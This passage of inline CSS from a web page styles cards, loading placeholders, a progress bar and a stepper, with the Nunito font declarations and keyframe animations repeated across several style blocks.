-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; }
.container__primary--card .primary--card__header .header__subtitle--information {
font-family: Nunito-Regular;
font-size: 16px;
line-height: 16px;
color: #416179;
margin: 0 0 4px; }
.container__primary--card .primary--card__header .header__subtitle--information.loading {
width: 100px;
height: 24px;
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite;
background: linear-gradient(-45deg, #ecf2f8, #f4f7fa, #ecf2f8);
background-size: 350% 200%; }
@media (max-width: 576px) {
.container__primary--card .primary--card__header .header__subtitle--information.loading {
height: 16px; } }
.container__primary--card .primary--card__header .header__subtitle--information.fadeIn {
-webkit-animation: fadeIn ease 1s;
-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; }
@media (max-width: 320px) {
.container__primary--card .primary--card__header .header__subtitle--information {
font-size: 14px; } }
.container__primary--card .primary--card__header .header__hr {
width: 100%;
opacity: 1;
border: 0;
border-top: 1px solid #d4e3f2;
margin: 16px 0 0; }
.container__primary--card .primary--card__header .header__values {
display: flex;
align-items: center;
height: 51px;
margin-bottom: 2px; }
.container__primary--card .primary--card__header .header__values .values__loading {
width: 135px;
height: 50px;
border-radius: 6px;
margin-bottom: 6px;
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite;
background: linear-gradient(90deg, #ecf2f8, #f4f7fa, #ecf2f8);
background-size: 350% 200%; }
@media (max-width: 576px) {
.container__primary--card .primary--card__header .header__values .values__loading {
margin-bottom: 4px; } }
.container__primary--card .primary--card__header .header__values .values__value.fadeIn {
-webkit-animation: fadeIn ease 1s;
-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; }
.container__primary--card .primary--card__header .header__values .values__value h2 {
font-family: Nunito-ExtraBold;
font-size: 65px;
line-height: 65px;
margin: 0;
background: linear-gradient(to right, #FD8300 25%, #F10001 50%, #F10092 75%, #056BB1 100%);
-webkit-background-clip: text;
-webkit-text-fill-color: transparent; }
.container__primary--card .primary--card__header .header__values .values__symbol {
display: flex;
flex-direction: column; }
.container__primary--card .primary--card__header .header__values .values__symbol.fadeIn {
-webkit-animation: fadeIn ease 1s;
-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; }
.container__primary--card .primary--card__header .header__values .values__symbol p {
font-family: Nunito-Bold;
font-size: 37px;
line-height: 32px;
margin: 0;
background: linear-gradient(to right, #FD8300 25%, #F10001 50%, #F10092 75%, #056BB1 100%);
-webkit-background-clip: text;
-webkit-text-fill-color: transparent; }
.container__primary--card .primary--card__header .header__values .values__symbol span {
font-family: Nunito-ExtraBold;
font-size: 11px;
line-height: 11px;
background: linear-gradient(to right, #FD8300 25%, #F10001 50%, #F10092 75%, #056BB1 100%);
-webkit-background-clip: text;
-webkit-text-fill-color: transparent;
text-transform: uppercase; }
.container__primary--card .primary--card__header .header__hint {
font-family: Nunito-Regular;
font-size: 14px;
line-height: 15px;
color: #416179;
margin: 0; }
.container__primary--card .primary--card__header .header__hint.loading {
width: 135px;
height: 15px;
border-radius: 6px;
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite;
background: linear-gradient(90deg, #ecf2f8, #f4f7fa, #ecf2f8);
background-size: 350% 200%; }
.container__primary--card .primary--card__header .header__hint.fadeIn {
-webkit-animation: fadeIn ease 1s;
-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; }
.container__primary--card .primary--card__footer {
display: flex;
flex-direction: column;
align-items: center;
text-align: center; }
@media (max-width: 576px) {
.container__primary--card .primary--card__footer {
flex-direction: row; } }
@media (max-width: 576px) {
.container__primary--card .primary--card__footer .footer__amount {
height: 48px;
margin-right: 16px;
text-align: left;
white-space: nowrap; } }
.container__primary--card .primary--card__footer .footer__amount .amount__label {
font-family: Nunito-Regular;
font-size: 14px;
line-height: 17px;
color: #416179;
margin: 0; }
@media (max-width: 320px) {
.container__primary--card .primary--card__footer .footer__amount .amount__label {
font-size: 12px; } }
.container__primary--card .primary--card__footer .footer__amount .amount__label.loading {
width: 135px;
height: 11px;
border-radius: 6px;
margin-bottom: 6px;
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite;
background: linear-gradient(90deg, #ecf2f8, #f4f7fa, #ecf2f8);
background-size: 350% 200%; }
@media (max-width: 320px) {
.container__primary--card .primary--card__footer .footer__amount .amount__label.loading {
height: 13px;
margin-bottom: 4px; } }
.container__primary--card .primary--card__footer .footer__amount .amount__label.fadeIn {
-webkit-animation: fadeIn ease 1s;
-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; }
.container__primary--card .primary--card__footer .footer__amount .amount__value {
font-family: Nunito-ExtraBold;
font-size: 20px;
line-height: 24px;
color: #416179;
margin: 0 0 16px; }
.container__primary--card .primary--card__footer .footer__amount .amount__value.loading {
width: 135px;
height: 22px;
border-radius: 6px;
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite;
background: linear-gradient(90deg, #ecf2f8, #f4f7fa, #ecf2f8);
background-size: 350% 200%; }
@media (max-width: 576px) {
.container__primary--card .primary--card__footer .footer__amount .amount__value.loading {
height: 33px;
margin: 0; } }
.container__primary--card .primary--card__footer .footer__amount .amount__value.fadeIn {
-webkit-animation: fadeIn ease 1s;
-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; }
.container__primary--card .primary--card__footer .footer__button {
width: 100%; }
.container__primary--card .primary--card__footer .footer__button .fadeIn {
-webkit-animation: fadeIn ease 1s;
-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; }
.container__primary--card .primary--card__footer .footer__button .button__loading {
width: 100%;
height: 50px;
border-radius: 6px;
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite;
background: linear-gradient(90deg, #ecf2f8, #f4f7fa, #ecf2f8);
background-size: 350% 200%; }
@media (max-width: 576px) {
.container__primary--card .primary--card__footer .footer__button .button__loading {
height: 52px; } }
.container__primary--card .primary--card__footer .footer__button .button {
width: 100%;
white-space: nowrap;
padding-top: 12px;
padding-bottom: 12px; }
@media (max-width: 576px) {
.container__primary--card .primary--card__footer .footer__button .button {
padding: 12px; } }
.container__primary--card .primary--card__footer .footer__button .button .button__content {
font-size: 16px;
line-height: 24px; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.container__secondary--card {
background-color: #ffffff;
border: 1px solid #d4e3f2;
border-radius: 6px;
box-shadow: 0px 9px 40px rgba(152, 182, 204, 0.25);
display: flex;
box-sizing: border-box; }
.container__secondary--card.banner {
flex-direction: row;
width: 522px;
height: 96px; }
@media (max-width: 576px) {
.container__secondary--card.banner {
width: 100%;
height: auto; } }
.container__secondary--card.banner .secondary--card__header {
flex: 0 0 30%;
border-radius: 6px 0 0 6px;
background-size: cover;
background-repeat: no-repeat;
background-position: center; }
@media (max-width: 576px) {
.container__secondary--card.banner .secondary--card__header {
display: none; } }
.container__secondary--card.banner .secondary--card__body {
width: 100%;
display: flex;
align-items: center;
justify-content: space-between;
padding: 0 24px; }
@media (max-width: 576px) {
.container__secondary--card.banner .secondary--card__body {
padding: 16px; } }
.container__secondary--card.banner .secondary--card__body .body__information .information__title {
font-family: Nunito-Bold;
font-size: 18px;
line-height: 20px;
color: #122e43;
margin: 0 0 4px; }
.container__secondary--card.banner .secondary--card__body .body__information .information__subtitle {
font-family: Nunito-Regular;
font-size: 14px;
line-height: 19px;
color: #122e43;
margin: 0; }
.container__secondary--card.banner .secondary--card__body .body__button .button {
width: 118px;
padding: 12px 0;
color: #122e43;
font-size: 16px;
line-height: 24px; }
.container__secondary--card.banner .secondary--card__body .body__button .button .button__content {
font-family: Nunito-SemiBold; }
.container__secondary--card.card {
flex-direction: column;
width: 245px;
height: 285px; }
@media (max-width: 576px) {
.container__secondary--card.card {
width: 100%;
height: auto; } }
.container__secondary--card.card .secondary--card__header {
height: 150px;
background-size: cover;
background-repeat: no-repeat;
background-position: center;
border-radius: 6px 6px 0 0; }
.container__secondary--card.card .secondary--card__body {
display: flex;
flex-direction: column;
padding: 24px; }
@media (max-width: 576px) {
.container__secondary--card.card .secondary--card__body {
padding: 16px; } }
.container__secondary--card.card .secondary--card__body .body__information .information__title {
font-family: Nunito-Bold;
font-size: 18px;
line-height: 20px;
color: #122e43;
margin: 0 0 4px; }
.container__secondary--card.card .secondary--card__body .body__information .information__subtitle {
font-family: Nunito-Regular;
font-size: 14px;
line-height: 19px;
color: #122e43;
margin: 0 0 20px; }
@media (max-width: 576px) {
.container__secondary--card.card .secondary--card__body .body__information .information__subtitle {
margin: 0 0 16px; } }
.container__secondary--card.card .secondary--card__body .body__button .button {
width: 100%;
padding: 12px 0;
color: #122e43;
font-size: 16px;
line-height: 24px; }
.container__secondary--card.card .secondary--card__body .body__button .button .button__content {
font-family: Nunito-SemiBold; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.simple--loading__container {
width: 260px;
height: 240px;
display: flex;
justify-content: center;
align-items: center;
position: relative; }
.simple--loading__container .container__logo {
width: 80px; }
.simple--loading__container .container__amoebas {
position: absolute;
-webkit-animation: loading 0.9s infinite linear;
-moz-animation: loading 0.9s infinite linear;
-o-animation: loading 0.9s infinite linear;
animation: loading 0.9s infinite linear; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.steps {
display: flex;
counter-reset: step;
height: 5px;
background-color: #d0e1f1; }
.steps .border__first {
border-top-left-radius: 5px; }
.steps .border__last {
border-top-left-radius: 5px;
border-top-right-radius: 5px; }
.steps .steps__bar--purple {
background: linear-gradient(90deg, #ce2aaa 0%, #1d68d8 100%); }
.steps .steps__bar--mandarin {
background: linear-gradient(90deg, #fd5b00 0%, #fd8300 100%); }
.steps .steps__bar--sky {
background: linear-gradient(90deg, #1d68d8 0%, #1ee4ff 100%); }
.steps .steps__bar--emerald {
background: linear-gradient(90deg, #fdf737 0%, #1ab0a7 100%); }
.steps .steps__bar--ocean {
background: linear-gradient(90deg, #005da0 0%, #2d9cdb 100%); }
.steps__bar--border {
border-top-left-radius: 5px;
border-top-right-radius: 5px; }
@media (max-width: 727px) {
.steps {
border-radius: 1px; }
.steps div {
border-radius: 1px; }
.steps .border__first {
border-radius: 1px; }
.steps .border__last {
border-radius: 1px; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.stepper__container {
padding: 0; }
.stepper__container .stepper__item {
display: flex;
align-items: center;
margin-bottom: 32px;
position: relative; }
.stepper__container .stepper__item .item__circle {
width: 32px;
height: 32px;
border-radius: 50%;
display: flex;
justify-content: center;
align-items: center;
margin-right: 12px;
font-family: Nunito-Bold;
font-size: 16px;
line-height: 18px;
background-color: #ffffff;
border: 1px solid #c1cbd4;
color: #afbcc7;
z-index: 2; }
.stepper__container .stepper__item .item__circle img {
width: 12px;
height: 12px; }
.stepper__container .stepper__item .item__label {
font-family: Nunito-Regular;
font-size: 14px;
line-height: 20px;
color: #788fa0; }
.stepper__container .stepper__item .item__bar {
width: 2px;
height: 100%;
background-color: #c1cbd4;
position: absolute;
left: 16px;
top: 32px;
z-index: 1; }
.stepper__container .stepper__item--mobile {
display: none; }
.stepper.stepper--default .stepper__container .stepper__item--active .item__circle {
background-color: #ff7a02;
border-color: #ff7a02;
color: #ffffff; }
.stepper.stepper--default .stepper__container .stepper__item--active .item__label {
font-family: Nunito-Bold;
color: #416179; }
.stepper.stepper--default .stepper__container .stepper__item--before .item__circle {
background-color: #ff7a02;
border-color: #ff7a02; }
.stepper.stepper--default .stepper__container .stepper__item--before .item__bar {
background-color: #ff7a02; }
.stepper.stepper--paris .stepper__container .stepper__item--active .item__circle {
background-color: #009ce0;
border-color: #009ce0;
color: #ffffff; }
.stepper.stepper--paris .stepper__container .stepper__item--active .item__label {
font-family: Nunito-Bold;
color: #416179; }
.stepper.stepper--paris .stepper__container .stepper__item--before .item__circle {
background-color: #009ce0;
border-color: #009ce0; }
.stepper.stepper--paris .stepper__container .stepper__item--before .item__bar {
background-color: #009ce0; }
@media (max-width: 727px) {
.stepper__container .stepper__item {
display: none; }
.stepper__container .stepper__item--mobile {
display: flex;
align-items: center; }
.stepper__container .stepper__item--mobile .item__span {
display: flex;
font-family: Nunito-Regular;
font-size: 12px;
line-height: 28px;
color: #788fa0; }
.stepper__container .stepper__item--mobile .item__span .item__current {
font-family: Nunito-Bold;
font-size: 20px;
line-height: 28px;
color: #122e43;
margin-right: 2px; }
.stepper__container .stepper__item--mobile .item__span .item__total {
font-family: Nunito-Bold;
font-size: 20px;
line-height: 28px;
color: #788fa0;
margin-left: 2px; }
.stepper__container .stepper__item--mobile .item__label {
font-family: Nunito-Bold;
font-size: 26px;
line-height: 28px;
color: #122e43;
margin-left: 8px;
padding-left: 8px;
border-left: 1px solid #c1cbd4; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
